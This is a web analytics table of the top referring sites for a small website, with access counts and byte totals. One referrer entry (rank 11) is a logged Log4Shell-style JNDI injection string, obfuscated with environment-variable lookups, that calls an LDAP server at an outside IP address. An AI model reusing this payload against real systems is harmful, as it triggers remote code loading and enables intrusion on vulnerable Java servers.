Rank | Referring Site | Accesses | % | Bytes | % |
---|---|---|---|---|---|
1 | https://www.google.com | 167 | 84.34 | 6,474 | 23.41 |
2 | http://killerkowalskis.com | 8 | 4.04 | 14,437 | 52.19 |
3 | http://216.226.136.134:80 | 6 | 3.03 | 2,158 | 7.80 |
4 | http://mta-sts.killerkowalskis.com | 4 | 2.02 | 0 | 0.00 |
5 | http://216.226.136.134 | 4 | 2.02 | 220 | 0.80 |
6 | https://www.bing.com | 2 | 1.01 | 0 | 0.00 |
7 | https://websitedetection.com | 2 | 1.01 | 2,213 | 8.00 |
8 | http://216.226.136.134:443 | 1 | 0.51 | 0 | 0.00 |
9 | http://blog.mta-sts.killerkowalskis.com | 1 | 0.51 | 0 | 0.00 |
10 | http://blog.killerkowalskis.com | 1 | 0.51 | 0 | 0.00 |
11 |
t('${${env:nan:-j}ndi${env:nan:-:}${env:nan:-l}dap${env:nan: -:}//129.151.84.124:1389 |
1 | 0.51 | 2,158 | 7.80 |
12 | https://www.wrestling101.com | 1 | 0.51 | 0 | 0.00 |